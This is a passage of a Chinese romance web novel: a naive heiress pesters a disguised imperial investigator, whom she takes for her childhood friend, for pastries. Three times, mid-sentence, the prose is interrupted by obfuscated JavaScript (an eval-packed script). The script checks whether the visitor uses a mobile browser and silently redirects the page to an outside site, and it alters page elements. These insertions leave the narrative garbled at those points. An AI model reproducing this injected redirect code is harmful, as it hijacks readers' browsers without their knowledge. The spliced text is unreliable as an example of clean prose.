《中了笨蛋美人计》 1. 回府 盛昌二十二年六月初一,日出东山,晨露尚余。 净明寺据称是应天府最灵验的寺庙,今日的钟楼刚敲响第一声,已有香客踏进了山门,鸣钟香鼎之间,青烟袅袅升起,像是缠绕人心的杂念。 负责洒扫的小沙弥的眼神总忍不住往主殿那边看,已将眼前的这块砖扫了三遍了。 文殊菩萨下首祈福的女施主长了一张比观音塑像还要白净秀美的脸,双眼微闭,长而密的睫羽轻轻颤动,好看得不似真人。 梨瓷跪坐在主殿里的蒲团上,手持香烛,口中念念有词:“求菩萨保佑信女梨瓷早日觅得佳婿,信女愿……愿令佳婿茹素三月,日日为菩萨焚香祈福。” 说完这句话,她又郑重其事地拜了三拜,将厚厚的一叠香火钱塞进了功德箱,端的那叫一个虔诚。 绣春在旁边抿着嘴忍笑,小声提醒:“小姐,这是文殊菩萨,观音殿还在前面。” “啊,拜错了吗?” 梨瓷猝不及防地睁开眼,轻轻眨了眨,那双蝶翼般的长睫也随之扇动,朝露一样明亮的眼睛里透出一种清澈的无辜:“应该也没有关系吧,菩萨心善,会保佑我的。” 为了表示自己的诚意,她干脆在大雄宝殿里拜了一圈,普贤菩萨和地藏菩萨也都收到了这句一模一样的祈愿和丰厚的香火钱。 给还不知身在何处的未来夫婿攒满了为期一年的茹素,梨瓷这才收手,心满意足地去偏殿抽签。 她将摇出的签文念了一遍:“明珠令容有淑质,归逢佳偶贵满堂。” 绣春虽然听不太明白,但“佳偶”两个字还是懂得的,立刻替小姐高兴起来:“小姐,这是好签啊!” 梨瓷也很高兴,在外祖家呆了三年,虽然大家都对自己很好,但她已经有些想念娘亲和爹爹了,要是能够早日觅得佳婿,她也就能够早些回自己家了。 她赶紧请教旁边解签的僧人:“敢问大师,这位……这位佳偶现在何处呀?” “阿弥陀佛,”僧人笑念了一句佛号,饶是他在寺里见过了香客无数,也是头一回见到这样直白得毫不掩饰的小姑娘,笑呵呵道,“此乃上上签,缘分一事自有天定,施主不必担忧。” 梨瓷可不是担忧,是心急,毕竟她娘是要她找到佳婿再回家的,便忍不住追问道:“那我什么时候能结良缘呢?” 大师看了看梨瓷的面相,说出一个不会出错的答案:“施主红鸾星动,好事将近,快了快了。不是今年,便是明年呐!” 若有旁人在场,多半觉得大师只是敷衍的托辞,可惜主仆两人都算不上聪明,梨瓷更是一口吃下大师画的大饼,高高兴兴地拜谢过后,催促着踏上了回府的路。 马车在官道上疾驰,少女悄悄掀起车帘的一处小角往外看,眼睛亮晶晶的,像是盛了窗外融融的日光。 绣春记得两年前初到应天的时候,小姐一路上也是这样,对什么都好奇。只是那时的小姐身体病弱,如不胜衣,好在江南气候宜人,又经薛神医妙手调理了两年,如今已经好了许多。 当年在晋地她便没有见过比自家小姐生得还要好看的姑娘,如今两年过去,出落得更貌美了,便是两地加起来,也无人能出其右。 眼看小姐明年就要及笄,又想到大师“快了快了”的谶语,绣春忍不住悄悄问道:“小姐想找一位什么样的佳婿啊?” 梨瓷还没仔细想过这个问题,只拣了爹娘和外祖的话道:“要德才兼备的,最好还出身贫寒,愿意入赘。” “这话都是老爷和夫人说的,小姐自己可曾想过?” 梨瓷正正经经地想了想,“要长得好看的。” 绣春也这么觉得,毕竟小姐生得这样貌美,若是招了个丑姑爷,莫说小姐了,恐怕自己也看不下去。 她又笑着问道:“怎么算好看呐,这两年和广成伯府往来的人家里,您可见到过中意的?” 广成伯府便是梨瓷的外祖家,她的外祖父周则善是当世有名的大儒,更是大雍朝难得的以军功封爵的文臣,因擒贼平乱获封广成伯,如今年纪大了,惠仁帝仍未允其致仕,便任了一个南京兵部尚书的闲职,专心在自己创办的廉泉书院里讲学。 梨瓷十三岁那年被父母送来了外祖家,一是为了来江南求医治病,二来嘛,也是父母觉得这样好择婿。只是她年纪小,这两年光顾着玩儿了,除了府里的表哥,压根儿不认识什么才俊。 她自小被爹娘娇养,外祖也是超脱尘外的圣人,受这些影响,梨瓷说起自己的亲事来,是半点儿也不知羞的,仿佛谈论的不是亲事,只是给府里找一个可心的管事。 梨瓷一本正经地摇摇头:“母亲说了,我是要招婿的,和广成伯府往来的多是高门大户,不合适。” 绣春赶紧“嘘”了一声:“小姐,您小声点,这可不能说出去。” 招婿虽为常人所不齿,但梨家乃山西省首富,消息若是传扬出去,应者定然多如过江之鲫,只是其心性人品就难说了。 梨瓷“嗯”了一声,“我知道,在外面不能说自己要招婿,等找到合适的,再说服他。” 绣春看向小姐的眼神里多了一丝钦佩,“小姐打算怎么说服他?” 梨瓷的眼神已经移向车窗外一个挑卖香糖果子的小贩,果子上的糖油亮晶晶的,像极了她向往的眼神。 可惜她吃不了。 她遗憾地放下车帘,随口敷衍道:“不着急,外祖父的学生多,大不了就从里边挑一个,他自然会听话的。” 她一边说着,一边已经闭上了眼睛,准备开始小憩一会儿,又长又翘的睫毛微微颤动着,像是鸟儿振翅时的尾羽,不知忧愁。 - 虽只是在城郊礼佛,待回到广成伯府时,已经过了未时了。 夏日的午后最为炎热,好在府中引了溪流,潺潺淌过所有院落,中庭还挖了一个池塘,此时荷花碧叶正盛,有微风拂过荷塘垂柳,伴送些许凉意。 椿遐堂中也正是清静的时候,只有几位惯用的嬷嬷和丫鬟侍奉着,正厅中坐着一位身穿深赭色绣松鹤纹织金锦袍的老夫人,虽然已经年逾五十,发带银丝,仍旧精神矍铄。 梨瓷与外祖母见了礼,又奉上自己从净明寺中带回的素斋和佛经。 老夫人眯缝着眼,仔细看了看梨瓷亲手抄的佛经,用笔虽称不上精妙,也算是规范严整,是用了功的,“难得阿瓷能有静下心来练字的时候,有进益了。” 得到表扬的梨瓷笑了弯眼睛,昂首道:“我花了好长时间写的呢,可认真了。” 老夫人摸了摸她的头,“不错,看来阿瓷确实是长大了,读书也用功了。” 梨瓷正要应声,不小心瞟到了桌案上的海棠糕,立刻就忘了到嘴边的话,只盯着那碟海棠糕,眼睛亮晶晶的。 她连忙靠坐过去,挽住老夫人的手臂,糯米团子一样软和的声音可怜得不得了,“外祖母,我中午急着赶路回来见您,都没怎么好好吃饭呢。” “这海棠糕太甜了,你吃不了。”老夫人识破她的心思,干脆令人将案上的点心都撤了,让厨房做些适合梨瓷吃的药膳来。 小厨房的行动迅速无比,一转眼,香甜可口的点心已经变成了清淡软烂的饭菜,下不了一点儿口。 老夫人身边的苏嬷嬷为她揭开斗彩宝莲纹汤盅的盖儿,“表小姐,先前薛神医说您要多吃清热安神之物,试试这道玉竹排骨汤吧。” 梨瓷咬着玉箸,和碗里的白莲大眼瞪小眼,发出无意识的感叹:“既然都是莲子,为何不能吃蜜炙莲子呢?” 明明是不太雅观的举动,被她做来却显得格外娇憨,老夫人被逗得合不拢嘴,用哄孩子的语气道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梨瓷一口气吃了三块,又缠着老夫人磨:“外祖母,我还想要。” 老夫人摊手:“没了。” 梨瓷契而不舍地攀着她的手,摇啊摇地撒娇。 “真的没了,”老夫人点了点她的小脑袋瓜,“这是府里的客人从陈郡带来的,本只是个添头,哪里知道会有你这样贪嘴的馋猫儿。” 鲜脆可口的玉润糕气息仍然唇齿留香,馋猫儿被甜点冲昏头脑,主动问道:“什么客人呀。” 若是年龄相近且好说话的,她去问问这玉润糕还有没有了,也不妨事吧? 老夫人笑道:“是我娘家那边的远亲,这孩子天资聪颖,敏而好学,前些日子过了廉泉书院的学考,打算借住在府中求学,今日众人都已经见过礼了。” “陈郡谢氏的子弟啊,”听见是最重规矩的望族出身,梨瓷的勇气立刻就少了一大半,怏怏道,“谢家的族学不好吗,要从开封远赴应天来冶学?” “不过是旁支的远亲,听说因着祖产处置的事情和本家有了嫌隙,你外祖惜才,特意嘱咐我招过来的。今日过府一见,的确是个不错的孩子,这样的才学和样貌,将来进了殿试,点个探花也不成问题。若是留在当地被排挤耽误了,反倒有负天地钟灵毓秀之德。” 梨瓷对读书的事情不感兴趣,只乖乖地“哦”了一声,又听得外祖母道:“真要论起来,他还是我舅舅的外孙的侄子,以后你若见了,囫囵称一声表哥便是。” 老夫人年纪大了,记性却没落下,这么复杂的亲戚关系都记得住,甚至又想起来一桩趣事。 “说起来,阿瓷你幼时也是见过的。谢郎的祖父曾在大同县当过县丞,和你家还做过几年的邻居,听你娘说,你那时就爱抢人家的糖葫芦,你自己吃不了,就让别人也不能吃。” 两个粉白团子第一次挤在一起玩的时候,小阿瓷抢了小谢的糖,他立刻就哭了。偏偏他又喜欢和阿瓷玩,老是被抢糖,老是哭,两家的大人说起这事,都笑得合不拢嘴。 “小时候不懂事嘛,”梨瓷为自己辩解,忍不住又问:“是……谢徵哥哥?” 见外祖母点了点头,梨瓷的心一下就雀跃起来。 他那里肯定还有糖。 2. 初遇 方泽院位于广成伯府外院西北角,院中引水为溪,有小桥斜渡,垅台上疏种了一片竹林,此刻日光和煦,枝影绰绰,有林风吹过,竹叶簌簌作响。 厢房内设有竹榻茶垆、石鼎净瓶,并未燃香,一如院外清幽静雅。 此间坐着的,是一位身着华服的贵公子,他放下手中玉扇,啜饮一口茶水,舒服地喟叹一声:“还是你这儿的茶香,诶,你怎么不喝?” 他对侧的四扇山水曲屏上隐约映出一个幢幢的人影,被悬岩水影和积墨云山掩去大半身形,便是那位来投亲的落魄公子“谢徵”。 他碰也未碰桌上的茶盏,慢悠悠道:“啧,南下这几年,半点长进也无。不过是市面上常见的炒青散茶罢了,专门用来招待你这样不懂装懂的客人。” 此声清如涧水、悦如云气,偏生透着股懒洋洋的意味,说的话更是气人。 “分明是你不解风情,还有什么比江南的美人更为风雅的呢,”谌庭看着谢枕川身上半新不旧的长衫,反击道:“茶叶都买不起,你怎么不干脆在袖口上打两个补丁?堂堂的濯影司指挥使,乔装成个穷书生南下查案,纵有美人瞧得上你,心中恐怕也要掂量几分。” 谢枕川惯会拿捏人的心理,施施然道:“正是在下囊空羞涩,才不敢示于人前。人不都是这样么,越缺什么,越爱说什么。” 谌庭被好友噎得说不出话来,最后憋屈道:“你不坐镇京中,可是此案已有眉目了?”” 谢枕川招了招手,令一旁久候的北铭前来禀报京中近况。 北铭上前道:“濯影司原本按照大人指示,已经寻得一处突破口,可是关键证人近期均离奇暴毙,甚至还有一个死在诏狱里。吏部与礼部联手以此事大做文章,圣上暂且问了行刑人的罪,便不再过问了。” 此事牵扯到三年前江南的一桩科举弊案,江南乡试贡额近百,但在那一年的乡试中,向来人才辈出的苏州府取士却不到十人,应天府数量也减半了,反倒是淮扬富庶之地占了足足五成,泰半都是盐官富商之子,一时民怨沸腾,闹到了御前。为了平复民怨,圣上罢免了这一科的四位主考,此事就算是揭过了,是今年吏部铨选想要破格提拔这一科的状元去东宫补缺,才又被人提起这桩旧事。 谢枕川令人暗查,朝中竟有不少要员牵涉此事,将此情禀明圣上后,又引出了一连串的麻烦。 如今濯影司被反咬一口,谢枕川也并不着急清算,沉心静气道:“不过问,那便是不想查的意思,京中那边暂且停手吧。” 北铭自然也是明白的:“是,大人,那咱们这边……?” “若有人问,便说我负笈游学去了,”明明干的是忤逆圣意的事儿,谢枕川却并无半点畏惧,只朝谌庭道:“我要的籍册可备好了?” “陈郡谢氏远亲之籍,已备好了,”谌庭从怀里掏出一纸文书,“喏,最近查得严,我可是花了大力气,才让你这身份能入官学。” 本朝对科举徙民管控甚严,尤其是在那桩弊案发生后,只要是和“科举”二字挂钩的事情,全都严加管理,就连谌庭也是好不容易才打通关节。 谢枕川依旧靠坐在屏风后的竹制圈椅上,漫不经心地翻阅着谢徵此人的黄册及生平卷宗,“看来你外放江南这几年,倒也不是一事无成。不过我已决定不去官学,改去廉泉书院。” “那你……”谌庭敢怒不敢言,不过很快又想通了其中关窍:“廉泉书院天下闻名,山长周则善曾任兵部尚书,更是当世大儒,书院一贯只重讲学,不重课考,历届科举成绩不显,去年倒是出了不少举人。如此看来,倒是真有几分可疑——” 话还未说完,谢枕川忽然抬手,指节轻叩了叩面前的桌案,谌庭立刻停下了,紧接着,院门外便传来了轻轻的脚步声。 紧接着,一道软糯清甜的女声隔着门窗响起:“谢徵哥哥,谢徵哥哥!” 一听这声音便知是个难得的美人,谌庭立刻正襟危坐,理了理鬓发,“是我离京太久,消息不灵通,只知令姐,竟然不知嘉宁长公主与信国公又给你生了一个妹妹?” 谢枕川没说话,斜睨了他一眼。 一旁小厮打扮的南玄抬头看了看世子的脸色,小心翼翼询问:“奴派人去将人拦住?” 谢枕川仍未作答,只是将卷宗往前翻了翻,摊开的那一页记载的正是谢徵幼时经历:“府中女眷今日已经见过了,只有周则善的外孙女梨瓷外出礼佛未归,其父在大同以采煤炼焦起家,彼时谢徵祖父在大同任县丞,这二人多半是儿时故交。” 北铭接过话道:“世……公子英明。据属下所知,这两人的确是青梅竹马,两家交情不错,梨家搬去太原后也时常互送节礼。不过两人分别时梨瓷才八岁,谢徵十二岁,少年人的长相变化又大,应当认不出来。公子可要见?” “不见。” 谢枕川懒得维系谢徵的人脉往来,更不喜计划之外的变故,随意地挥挥手,示意他将人打发走。 - 方泽院大门虚掩着,仆从将门打开,委婉道:“表小姐,谢公子今日身体抱恙,不便见客,您还是请回吧。” 梨瓷没有气馁,“那玉润糕还有吗?” “什么?”仆从一时没反应过来,还琢磨着谢公子随行的人里头没有姓郁的呀。 “咳咳,”绣春拉过自家小姐,往仆从手里塞了一小块银子,“我家小姐与谢公子是旧识,听闻谢公子初来应天水土不服,特意为谢公子熬制了合香散,你再去通禀一次。” 梨瓷虽是表小姐,但深受老夫人喜爱,在府中也向来出手大方,那仆从想了想,听话地往里边去了。 人前脚刚走,绣春后脚就给小姐推开了门,一边开还一边悄声叮嘱:“小姐,哪有一上门就直接管人家要东西的呀,都说‘礼尚往来’,您把这礼送到了,再说得好听些,这玉润糕不就来了嘛。” 梨瓷点点头,虚心受教了,她把食盒从绣春手里接了过来,干脆利落地提着裙摆跨过了门槛。 还未走远的仆从看得目瞪口呆,手里那块银子沉甸甸的,让他忘记了阻拦。 梨瓷走得很快,进了院子,就像儿时一样径直开始叫人:“谢徵哥哥,谢徵哥哥!” 房门当真被她叫开了,一个小厮打扮的人走了过来,用一种不敢置信的眼神看着她:“您是……梨家大小姐?” 只是看了这位表小姐一眼,南玄差点连到嘴边的话都给忘了,没想到雁关偏远之地,竟也能长出这样的仙女儿,比他在京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14554739|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里见过的世家贵女们都要好看。 他磕绊了一下,继续道:“您与我家公子是旧时,原应主动拜访,只是我家公子初来应天,尚有些不服之症,怕将病气过给小姐……” 梨瓷冲他摇了摇头:“没关系的,我不怕。” 继这位表小姐的美貌之后,南玄又被她的率直震惊了,还不等他再婉拒,这位表小姐又冲他笑了笑:“既然知道谢徵哥哥生病了,更要看望才是。” 南玄来不及阻拦,梨瓷已经自来熟地迈过那道门槛,走了进去。 他赶紧跟上,踮着脚探头看了一眼。 谌大人和北铭已经将不该出现在这个房间里的文书带走,飞快地消失在了暗处,自家世子此刻正靠坐在榻上,身上还搭了一床薄毯,一副病病殃殃的样子,比以往重伤时还要虚弱十倍。 还好还好,世子这等演技,定能将广成伯府的人骗得团团转! - 梨瓷不爱读书,每进书房都觉得困顿乏味,但她今日才踏进门,便觉此间高情远韵,心迹双清。 有一人正靠坐在竹榻上读书,他披着一件涧石蓝雨丝锦的外袍,衣料不错,但是衣襟和袖口处已经洗得略有些发白了,精巧地绣了一行连珠纹遮挡,也称得上妥当。 榻上的人生了一双极为好看的凤眼,眼尾细长而上翘,却并未叫人觉得妩媚,反倒透出清贵端方之意,阳光斜照过支摘窗,给冷白得带了些许病色的面容添上一分绮靡,只消望上一眼,便知什么是渊清玉絜,琨玉秋霜。 他似浑然未觉门外动静,正好翻过手中一页书卷,室内安静非常,只有纸张间摩擦发出的轻微声响,不知从哪儿飘来的茶香盈满室内,清雅如兰香。 梨瓷看得有些发愣,刚才在院子里中气十足喊人的牛劲儿已经烟消云散了,她甚至怀疑自己是不是找错了人。 小时候的谢徵哥哥虽然也长得好看,但是远不及此,更不会像这样……她一时难以找到准确的词语形容,只觉得自己好像不小心打开了一幅画卷,惊扰了不食人间烟火的画中仙。 仙人似有所感,抬起头看向她,眼中亦透出些许诧异。 她踟躇了两秒钟,想起玉润糕,又鼓起勇气提着食盒往前,一直走到谢徵哥哥面前。 离得近了,梨瓷这才发觉他披着的外衫之下着的是一件四经绞罗纱的素色圆领对襟袍,夏裳轻薄,虽然衣襟系得一丝不苟,但从她的角度,仍然可以看到优雅而清晰的颈部线条,还有锁骨处隐隐约约的一颗小痣。 她不自觉地又多看一眼,才察觉这样似有不妥,赶紧收回目光,一脸乖巧地打招呼:“谢、谢徵哥哥,许久不见,你还记得我吗?” 无论是濯影司指挥使的身份,还是长公主与信国公之子的出身,已经久不曾有人在谢枕川面前如此无礼了。 来不及阻拦的南玄在后边倒吸一口凉气,既为表小姐的莽撞,也为自己的办事不利。 谢枕川抬眸望去,便瞧见了一张极鲜妍的笑靥,此刻正凝眸看着自己,那双眼睛生得水光潋滟,仿佛只要自己说个“不”字,水光便会化作泪珠满溢。 若不是自己此刻未着外裳,也并非她口中所说的“谢徵哥哥”,倒真是一副青梅竹马久别重逢的感人场面。 3. 道故 被这样殷切的目光注视着,谢枕川仍未着急起身,只靠坐在木榻上,礼节性地地勾了勾唇角,“梨姑娘。” 听他张口便说出了自己的名字,梨瓷的嘴角不自觉地扬了扬,圆圆的瞳仁里划过一丝惊喜。 既然谢徵哥哥还记得自己,只要自己礼数到位,再嘴甜一点,让他把剩下的玉润糕都送给自己,应当不难吧? 南玄站在一旁,将这位表小姐的表情看了个正着。 这套流程他再熟悉不过了,京中那些女眷也是这样,见了世子便两眼放光,想方设法地缠上来,然后又哭哭啼啼地回家,若是蠢过头了惹得世子厌烦,还要连累家人,久而久之,再也没有女眷敢凑上来了。 可惜这里不是京城,世子需要隐藏身份,自己还是赶在这位表小姐没有做出更过分的事情之前送客,免得节外生枝。 他正这样想着,谢枕川已经垂着眼,做出起身的姿态,“身有疲怠,让梨姑娘见笑了,还请在屏风后稍坐片刻。” ……世子为了符合人设,做出的牺牲实在是太大了! 为了不给世子拖后腿,南玄立刻机灵地挤出一个笑脸,引这位表小姐入座。 谢枕川苍白的脸上还带着倦容,梨瓷瞧见那纤长浓密的睫毛阴影衔着眼下一小片未休息好的青痕,决定暂时不做计较,在小厮的接引下落座了。 极细微的穿衣声后,谢枕川终于从屏风后走出。 他身段颀长而挺拔,胜过院中苍翠修竹,只是见他穿戴好了,梨瓷才发现那件见客的外袍肩线绷得有些紧,越发显得肩膀宽厚;青碧玉带勾勒出劲窄的腰身,明明是书生的长衫,却被穿出了劲装的遒劲来。 泛白的布料、算不上十分合身的衣裳、跳色的佩饰,这在寻常人眼里挑不出什么毛病,但落在诗礼簪缨之族中,便格外显眼起来。 梨家虽然不比世家大族,但好歹也占了一个“富”字,梨瓷自然能够看出这点不妥当,她又想起外祖母说他家不过是陈留谢氏的旁支远亲,和本家还有些嫌隙,隐隐约约体会到了其中的艰辛。 谢枕川面上并无半点窘迫,仍是舒肩展背缓步走来,正对梨瓷落座,再次寒暄道:“梨姑娘。” 清隽的男声如同敲冰戛玉,有着天然的距离感。 若是他主动上前攀交情也就罢了,这样刻意地划出界限,反倒更让人觉得品性高洁。 梨瓷很好说话地摆摆手,搬出二人的儿时情分,“谢徵哥哥不必与我这般生分,还像以前那样叫我阿瓷便好,府里人也都这么叫我的。” 这已经是第三遍“谢徵哥哥”了。 她的声音又甜又糯,明明只是亲戚之间的称谓,被她唤来便显得格外亲近,甚至亲近过了头,听得谢枕川不自觉蹙了眉。 虽然已经顶着谢徵的身份在广成伯府众人前见过了礼,但在其旧识面前,他莫名地感到了一丝烦闷。 “那时还小,”谢枕川回望过去,方才眼里那点笑意一闪而逝,此刻便生出一丝冷淡疏离的意味来,“如今长大了,总要顾及男女大防才是。” “我还没及笄呢,幼时我们整日在一起玩,谢徵哥哥每年都还会送我生辰礼的,现在连我的年岁也记不清了吗?” 梨瓷全然未觉他有意的疏远,一股脑儿地将他的话反驳过后,又带了一点亲昵的埋怨,“以前你连一颗炒花生都会让给我吃的,就算我抢了你的糖葫芦,也从不生我的气。现在千里迢迢来了应天也不说,送的玉润糕也没有我的份。” ……她说了半天,多半是和吃有关的事。 谢枕川懒得理会她口中这些陈谷子烂芝麻,只等这人无趣了,自然会走。 可惜他还不知道一个常年久病忌口的人对食物的执着。 眼看谢徵哥哥对自己装乖卖傻都无动于衷,梨瓷便开始耍赖了,她咬着唇,气哼哼道:“谢徵哥哥你变了!你和以前不一样了,小时候的事情都忘记了,也不想和我玩了。” 这句话像是不小心触发了什么机关锁钥。 谢枕川终于轻叹了口气,像是一位正在容忍妹妹胡闹的兄长,无奈地轻笑道:“怎么会不记得,盛昌七年八月廿九。” 他看过了广成伯府众人的名册,说得一分不错。 梨瓷立刻抬起头,眼睛也重新弯起来:“我就知道谢徵哥哥不会忘记我的。” 她掰着手指头,认认真真地回忆:“你还记不记得,我八岁生辰那天,我们一起爬树,躲在树上吃枣糕,后来你不小心摔下去,脸上流了好多血,我吓得大哭,你就赶紧拍拍土,站起来安慰我,后来额角还留了一道很深的疤。” 清澈的目光在谢枕川的脸上游移,像是在探究着什么。 谢枕川不避不让地任她打量,微微笑道:“好在年岁渐长,那道疤痕已经消褪了。” 梨瓷睁大眼睛仔细看了看,眼前的这张脸称得上是完美无瑕,别说是一道疤了,就连一颗痣也没有,五官轮廓都长得恰到好处,一不小心就看入了神。 谢枕川也同样在凝视着她脸上每一处细微的表情变化,只是梨瓷并未如他所想的露出半分怀疑神色,她痴痴地看了半天,然后就开心地应和道:“那就好,听闻谢徵哥哥已经考上了廉泉书院,连外祖父也赞叹你的文章,以后你一定能像谢爷爷那样成为造福一方的好官的!” 谢家那个解官前每年考绩都不过是平常的八品县丞么? 谢枕川唇角微勾,似是谦恭道:“阿瓷过誉了。” 见他改口,梨瓷很满意他的上道,学着长辈们的样子与他推心置腹,语重心长道:“我知道谢徵哥哥这次来广成伯府只是为了求学,不愿让人误解你是趋炎附势,曲意逢迎,才故意装出先前那副不熟的样子,可是我与他们不同啊。” 她歪着头,顺着外祖母先前的话数起来,“你是我外祖母的…舅舅的…外孙的侄子,外祖母都让我称你一声‘表哥’的。” 这一竿子支到三千里开外了,满门抄斩都抄不到一个族谱上,算是哪门子的表哥? 谢枕川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14554740|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒得再就这个话题继续纠缠下去,直言道:“阿瓷今日前来,有何贵干?” 梨瓷算了算,嘴甜自己已经做到位了,接下来就是礼数了。 她将手中食盒提到桌案上来,勤勤道:“我听闻谢徵哥哥初来应天,有些水土不服,特意令人熬煮了合香散,要不要用一些?” 说话间,她已经打开了食盒,里面是一盅热气腾腾的汤药,散发出苦涩的药草气息。 谢枕川是不用外食的,更罔论这种黑乎乎看不出来历的汤药了。 “多谢,只是在下已经服过药了。” 他摆了摆手,不经意露出了袖口处泛白的水洗痕迹。 “好吧。” 梨瓷也不勉强,只是看着袖口处的那一抹晃动的白,还没来得及说的话就更难说出口了。 谢家都已经穷成这样了,自己还要拿他的东西,是不是不太好? 她的动作慢吞吞的,几乎把“我有心事”几个大字写在了脸上。 谢枕川懒懒抬眸看她一眼:“可是还有要事?” 梨瓷的脑子还在纠结,身体已经很诚实地点了点头:“我还想吃玉润糕。” …… 一般人都想不到她的要事就是吃玉润糕,就连谢枕川也顿了一顿,才开口吩咐道:“南玄,为梨姑娘取一盒玉润糕来。” 南玄面露尴尬:“公子,那玉润糕易碎,一路颠簸过来,本就没剩几盒,又给老夫人送了一些,现在已经没了。” “啊?”梨瓷有些丧气,但很快又继续追问道:“可是我真的很喜欢吃,谢徵哥哥是在哪家的铺子买的呀?” 这是公主府的厨子按照世子亲自改良过的方子做的,有钱也买不到。 南玄连忙摇头,替自家挑剔的世子遮掩,“这在外头可买不到,是我家公子寻了方子和食材,特地托了人做的。” 梨瓷略有些失望地“噢”了一声,她知道这样的方子大多是保密的,所以就不再开口,只拿着一双水汪汪的眼睛望着谢枕川,可怜巴巴的。 谢枕川别开眼,快速地说出一长串食材的名称与做法:“花生、芝麻、南杏核仁,用酥油炒香,与石蜜、末茶调味后压制即可。” 梨瓷听到“南杏核仁”的时候,就已经记不住了,只能愣愣地点头。 她虽然馋嘴,但本身只是个连糖和盐都分不清的主儿,更别提什么南杏仁和北杏仁、末茶与茶饼了。 谢枕川自然能看出她的心不在焉。 这倒是有趣了,这位“表妹”在此处攀了半天的亲,说是为了一盒糕点,可自己告知了秘方,她又并不在意。 他执起面前的甜白釉三系茶壶,嘴角弯出一抹略带讽意的笑:“倒是我怠慢了,阿瓷可要在此用一杯茶水?” 梨瓷本来已经准备告辞,听他这样说,便低头看了一眼小几上配的茶点,是很常见的绿豆糕,可是看着松松软软的,和苏杭这边的做法又有不同。 她立刻就有些走不动了,重新坐回椅子上。 4. 是计 热水徐徐注入三才杯中,室内安静非常,只有水流激荡的声音,梨瓷的目光便不由自主地落在了那执壶的手上。 那是一只极为好看的手,哪怕是细腻白润的官窑釉面在它面前也要沦为陪衬。十指修长得过分,看起来偏秀美,清晰匀称的骨节又饱含力量。指上未着一物,素净得让人想将天下玉石珍宝都奉于他手中,又觉得哪怕是这世上的隋珠和璧,在这双手面前也要黯然失色。 她还在发呆,谢枕川已经将茶盏推到她面前,又为自己倒了一杯。 茶是新沏的,还有些烫,梨瓷端起盏托,轻轻吹了吹升腾的热气,细长卷曲的茶叶在鲜亮的茶汤之中逐渐舒展开,隐约可见白得透明的花瓣。 梨瓷只小小喝了一口,便觉得清鲜甜润,和长辈们爱喝的那些苦兮兮的茶汤不一样,她原本准备好的“茶汤微苦,想用些茶点”的理由也用不上了,忍不住问:“这是什么茶?” 没再用散茶糊弄客人,谢枕川为自己也倒了一盏,不动声色道:“不过是寻常的茉莉花片。” 南玄在旁边听得咂舌,花片倒是花片,不过可算不上寻常,这茶是明前崖上的嫩芽,花是进伏晴天开到最盛的茉莉花,窨制工艺更是繁复,几百斤的花才能够窨出一两,就连煮茶的水也是拿花香窨过的山泉。 不过也正是因为无人会像这般捣弄花茶,才能光明正大地摆到“谢徵”的茶台上。 梨瓷恍然大悟地点点头,十分捧场地感叹道:“当今人多不爱花片,唯恐花香会夺取茶叶真香,爹爹原先在福州府种了几千亩的茉莉花,结果熏好的茶叶在南边都卖不动,好在最后转道京师卖了个高价。我原本还以为买花的人是冤大头,如今尝过了这样好喝的茉莉花片,才知是世人多随波逐流,附庸风雅罢了。” 她说的明明都是赞美,但谢枕川的脸色反而变得难看起来。 梨瓷睁大眼睛看着他,一脸真诚地请教,“谢徵哥哥,你怎么好像不太高兴呀,我不太懂茶,是不是哪里说错了?” 谢枕川冷静地弯了弯嘴角,像是一个莫得感情的冤大头,“没有,你说得很对。” 谌庭在暗处憋得想笑,拼命掐着大腿忍住了。 始作俑者还半点不觉,她拨动盏盖,凑近闻了闻,“茶叶里还有花瓣,这花瓣不苦不涩,香气也一点没有失色,这样的技法,我还是第一次见呢。” 寻常的茉莉花片,以茉莉花香窨制茶叶之后,便要筛除花干,以免残花损了茶味。 看在这人对茶道并非一窍不通的份上,谢枕川勉为其难地“嗯”了一声,“偶然在古书上瞧见了茉莉花片窨制和炒花的工艺,虽不入流,倒也别有一番风味。” 梨瓷没来得及说话,吃了一口南玄给她端来的绿豆糕,这绿豆糕似乎没有放油也没有放糖,吃着沙沙的,清甜绵润。 她眼中又流露出真心实意的敬仰之意,“谢徵哥哥懂得好多,你这里的东西都好吃!” 南玄在旁边暗自摇了摇头,这位表小姐富贵倒是富贵,只是这底蕴实在差了点。不过也是,长公主府里的吃穿用度,怎会是这种暴发户可以企及的。 谢枕川避过她清澈而热忱的眼神,“不过是读了几本闲书,虚论浮谈罢了,不堪大用。” 透过茶盏上袅袅升起的水雾,梨瓷仿佛看到了那双玉雕般的手拈着纯白馥郁的茉莉花,将茶与花层层窨制的样子,脑海里莫名飘过《新嫁娘词》中的两句:三日入厨下,洗手作羹汤。 她连忙晃晃脑袋,自己果然是书读少了,应该来两句“素手破新橙”那样的词,怎么可以把好心为自己沏茶的谢徵哥哥比作新婚妻子呢? 这样做贼心虚的表情实在太过明显,谢枕川的手指微动了动,放下茶盏问道:“怎么了?” “没什么,”梨瓷傻笑一声,连忙低头捧着茶盏啜饮,躲避他的目光。 见她不愿说,谢枕川也不再问,饮了一口茶,不露痕迹地观察她的行为。 